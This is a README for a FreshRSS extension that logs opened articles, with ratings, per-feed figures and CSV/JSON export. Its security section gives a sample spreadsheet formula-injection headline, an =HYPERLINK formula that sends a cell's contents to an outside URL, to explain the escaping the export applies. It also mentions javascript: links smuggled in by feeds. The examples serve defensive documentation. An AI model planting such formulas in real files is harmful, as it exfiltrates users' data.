A FreshRSS extension that keeps a list of the articles you actually opened — with the headline, the feed and when you opened them — on a page of its own.
FreshRSS knows which articles are read, but "read" only means an article scrolled past in the stream. It has no record of which ones you actually opened. So the question "what was that article I opened last week?" has nowhere to go: the browser history has the URL, but not the feed it came from and usually not the headline either.
This extension records that one gesture and nothing else.
- Records a click or middle-click on an article's own link — the headline of an expanded article, the link icon in the footer, and the headline in the collapsed list when it actually opens the link (Ctrl/Cmd-click or middle-click; a plain click or tap there only expands the article and is not recorded) — plus the core's go to website shortcut. A link opened through the browser's context menu ("Open in new tab"), a long press on a phone, or by dragging it to the tab bar fires no click event the page can see, and is not recorded.
- Shows the collection under Click history: headline, feed, category, when it was last opened, one page at a time.
- Copy link on each row copies the article's address without its tracking
parameters (
utm_*,fbclid,gclidand the like) — to pass it on without opening it first. Everything else in the address stays as it was. - Where to find it: the Click history entry in the header menu — the gear icon at the top right, next to Logs and About. The extension's settings page links there directly too. There is deliberately no toolbar button (removed in 0.5.0): the menu entry is rendered server-side by core, which keeps the extension independent of core's toolbar markup.
- Groups by category on request, or stays in plain chronological order.
- Lets you say afterwards whether an article was worth it: Good, Dropped, or left Unrated. Filter links across the top switch between those states and carry a count each, so the unrated pile is visible without going looking for it. Pressing the state a row is already in takes it back to unrated.
- Keeps a dropped entry rather than removing it: it only leaves the default view. That is on purpose — "8 of 87 from this feed were worth reading" needs the 87. Removing an entry is what the delete button is for.
- Adds up those ratings per feed on the Feed figures page, linked from the history page's toolbar: how often you opened something from a feed, how many of those you called good, dropped or have not judged yet, and what share of the judged ones were worth it. That is the question the rating buttons exist for — which feeds earn their place, and which ones you keep opening and regretting. A feed nobody has rated yet shows a dash rather than 0%: not judged is not the same as not worth it.
- Downloads the whole history as JSON or CSV — everything, not just the page on screen. Timestamps are written twice, as a Unix value for whatever reads the file and as ISO-8601 for whoever opens it.
- Keeps one entry per article. Opening the same article again moves its timestamp forward instead of adding a second row; the first time is kept and shown as a tooltip on the date.
- Only the article's own link counts. Links inside the article text are ignored — that is structural, not a heuristic: the extension listens on the specific header and footer elements that carry the article link, so a link in the body cannot match one of them.
- Entries outlive the article. FreshRSS purges old articles on a schedule; the headline, URL, feed name and category are copied into the extension's own table at the moment of the click, so the history survives that and stays clickable — and stays grouped correctly even after the feed or the whole category has been deleted.
It is an archive first: the complete list is what you see by default, and the ratings sit on top of it rather than gating it. Entries stay until you delete them, one at a time or all at once — a judgement never removes anything.
Opening a link through the context menu ("Open link in new tab") leaves no trace in JavaScript — the browser does it without telling the page. There is no workaround; it is a browser boundary, not a missing feature. If your history has gaps and you use the context menu, that is why.
Everything else is covered: left click, middle click, and the keyboard shortcut.
Requires FreshRSS 1.29.0 or newer. CI analyses the extension against exactly that release, so this is a checked property rather than a claim.
- Download the latest release
and unpack it outside your FreshRSS installation. It unpacks to
xExtension-ClickHistory-<version>: rename that toxExtension-ClickHistoryand move it into theextensions/directory. When updating, replace the old directory rather than putting the new one next to it — FreshRSS loads every directory inextensions/, and two copies of this one declare the same classes twice, which stops every page with a fatal error. The default branch is where work in progress lands, so a release is the version that was actually checked. - Enable Click History under Configuration → Extensions.
Enabling it creates one table (click_history, with your installation's usual
prefix). Because this is a user extension, each user gets their own — nobody
sees anyone else's history.
Upgrading adds the columns a newer version needs on first use, one probe per
version, and existing entries keep their data: those from before 0.2.0 show up
under No category, and everything recorded before 0.3.0 counts as Unrated —
in both cases because the information did not exist when the click happened. The
upgrade statements are exercised against SQLite in CI (tests/schema.php), since
this path runs exactly once per installation and a broken one would be noticed
only by the data it lost.
There is no machine API. FreshRSS' extension API endpoint (/api/misc.php)
checks systemConf()->extensions_enabled and therefore cannot see a user
extension at all — offering one would mean making this a system extension,
which would move the on/off switch from each user to the administrator. The
export is a plain authenticated download instead.
Under Configuration → Extensions → Click History:
| Setting | Default | Notes |
|---|---|---|
| Record opened articles | on | While off, nothing is recorded and the browser sends no requests. The history that already exists is kept. |
| Entries per page | 50 | Between 10 and 500. |
There is deliberately no retention setting: the history is kept until you delete it. Deleting is manual, per entry or all at once.
Disabling the extension does not delete anything. FreshRSS calls an extension's uninstall step when it is merely disabled, so dropping the table there would mean one accidental click destroys the whole archive. Use the "delete the whole history" button if that is what you want.
| Backend | Status |
|---|---|
| SQLite | Verified end to end |
| MySQL / MariaDB | Schema, upsert and DAO executed in CI against mysql:8.4.11 (PHP 8.1 and 8.4) and mariadb:12.3.3; not run inside a FreshRSS installation |
| PostgreSQL | Schema, upsert and DAO executed in CI against postgres:16.15; not run inside a FreshRSS installation |
CI runs tests/schema.php against all three: it executes the extension's real
CREATE TABLE, ALTER TABLE and upsert statements — the same strings the running
code uses, not a copy — so a statement only one backend accepts fails the build
instead of a stranger's install. tests/dao.php runs the DAO on top of them,
through core's own connection classes with the settings FreshRSS gives them
(a utf8mb4, unbuffered connection on MySQL, native prepares everywhere), in the order the
pages call it. What is still SQLite-only is the layer above: the development
installation is SQLite, so the page and the export have only been rendered
there. If you hit a problem on MySQL or PostgreSQL, that is where to look first.
A feed decides what an article's link is, so that link is untrusted input.
- The browser only ever sends an entry id. The URL, headline and feed name are looked up on the server from that id, so a hand-made request cannot put arbitrary text into the table that the history page later renders. There is deliberately no fallback to a URL supplied by the client.
- The lookup runs in the logged-in user's own database context, so an entry id belonging to someone else is simply not found.
- Only
http:andhttps:entries become links on the history page. Anything else — ajavascript:link a feed managed to smuggle in — is shown as plain text instead. - The CSV export cannot carry a spreadsheet formula. Excel and LibreOffice
evaluate a cell that starts with
=,+,-,@, a tab or a carriage return, so a headline of=HYPERLINK("http://…"&A1)would run the moment the downloaded file is opened. The four columns a feed controls — title, URL, feed name, category name — get a leading single quote in that case, which is the escape both applications understand: the cell stays text and the quote is not part of it. Escaping only those four is deliberate; the remaining columns are the extension's own id, status and timestamps. - Requests are protected against CSRF by FreshRSS itself: it rejects any POST without a valid token before a controller is reached, and extensions are not on its exemption list.
Found something anyway? .github/SECURITY.md says where to send it and what to put in it. Please do not open a public issue for one.
Detecting a click means recognising the article's own link, and there is no hook
for that: the script matches the three CSS selectors core uses for it
(a.go_website, the link icon in the footer row, and the headline of a collapsed
list row). If a future FreshRSS release renames one of them, clicks through that
particular element stop being recorded — silently, since nothing else about the
extension depends on it. tests/main-link.test.js therefore holds the selectors
against HTML copied out of the 1.29.0 core views, including the case of a feed
putting core's own go_website class on a link in the article body, so the
coupling shows up as a failing build rather than as a history with holes in it.
The page itself needs no markup of core's: it is reached through the
MenuOtherEntry hook, which is a supported extension point.
# JavaScript tests (click detection, the request path, the once-per-load guard,
# and the core-markup selectors against fixtures from the 1.29.0 views). Needs
# `pnpm install` first: the selector tests parse their fixtures with linkedom.
# Through the script rather than `node --test tests/*.test.js` directly: it
# fails a run where a test was skipped, marked todo, or no test ran at all,
# which node alone reports as success.
pnpm test
# Schema upgrade and upsert, against a real database (in-memory SQLite by
# default). CI additionally runs this against mysql:8.4.11, mariadb:12.3.3 and postgres:16.15:
# CLICKHISTORY_TEST_DSN='mysql:host=127.0.0.1;dbname=clickhistory' \
# CLICKHISTORY_TEST_USER=root CLICKHISTORY_TEST_PASSWORD=… php tests/schema.php
php tests/schema.php
# The DAO on top of those statements, through core's own Minz_PdoSqlite /
# Minz_PdoMysql / Minz_PdoPgsql (same environment variables). Needs the
# .freshrss-core checkout from the PHPStan step below.
php tests/dao.php
# The CSV and JSON export, rendered and read back. Needs nothing but PHP.
php tests/export.php
# The history page, rendered from hostile rows (escaping, the http(s) guard on
# links, the clear button). Needs the .freshrss-core checkout as well.
php tests/index.php
# The extension inside a real FreshRSS (copied from .freshrss-core, SQLite,
# PHP's built-in server on 127.0.0.1:18765, driven with curl). Needs curl and
# php with pdo_sqlite and dom; CLICKHISTORY_E2E_PORT picks another port, PHP='php -n' skips a php.ini
# that gets in the way.
sh tests/e2e.sh
# Every language defines exactly the translation keys the code uses, and core
# (.freshrss-core) defines the ones the views borrow from it.
php tests/i18n.php
# JavaScript style (ESLint, aligned with FreshRSS core's own eslint.config.js)
pnpm install
pnpm run eslint
# PHP style (PHP_CodeSniffer, FreshRSS' own ruleset)
composer install
vendor/bin/phpcs .
# PHP static analysis (PHPStan). Needs FreshRSS core checked out as a sibling
# directory to resolve the Minz_Extension classes this extension extends —
# see phpstan.neon for why, and .github/workflows/ci.yml for how CI does it.
git clone --depth 1 --branch 1.29.0 https://github.com/FreshRSS/FreshRSS .freshrss-core
vendor/bin/phpstan analyse --memory-limit=1GWithout PHP installed locally, the same checks run in a container on the exact version CI uses, which is also the floor the extension claims to support:
docker run --rm -v "$PWD:/app" -w /app -e COMPOSER_HOME=/tmp/composer \
composer:2 install --prefer-dist --no-progress --no-interaction
docker run --rm -v "$PWD:/app" -w /app php:8.1-cli sh -c '
find . \( -path ./vendor -o -path ./node_modules -o -path ./.freshrss-core \) -prune -o \
\( -name "*.php" -o -name "*.phtml" \) -print0 | xargs -0 -n1 php -l
vendor/bin/phpcs .
php -d memory_limit=1G vendor/bin/phpstan analyse --no-progress'English and German are included. Adding a language only means adding an
i18n/<code>/ext.php file; CI fails if one of them is missing a key the code
uses.
CHANGELOG.md — what changed per release, and what is waiting for the next one.
AGPL-3.0-only, matching FreshRSS itself.
If you find this useful, you can buy me a coffee.